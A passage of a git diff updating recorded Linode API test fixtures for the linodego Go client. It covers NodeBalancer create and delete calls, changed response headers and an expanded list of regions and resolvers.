- DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228216}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441127, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-34.ip.linodeusercontent.com", "ipv4": "172.232.87.34", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694191, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-86-131.ip.linodeusercontent.com", "ipv4": "172.232.86.131", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441127/configs + url: https://api.linode.com/v4beta/nodebalancers/694191/configs method: POST response: - body: '{"id": 670345, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134765, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441127, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694191, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441127/configs/670345 + url: https://api.linode.com/v4beta/nodebalancers/694191/configs/1134765 method: DELETE response: body: '{}' @@ -431,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -452,9 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -470,7 +505,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441127 + url: https://api.linode.com/v4beta/nodebalancers/694191 method: DELETE response: body: '{}' @@ -486,15 +521,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -507,64 +546,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228216 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerConfig_Get.yaml b/test/integration/fixtures/TestNodeBalancerConfig_Get.yaml index ea75d68a6..63e8cb85a 100644 --- a/test/integration/fixtures/TestNodeBalancerConfig_Get.yaml +++ b/test/integration/fixtures/TestNodeBalancerConfig_Get.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228221, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 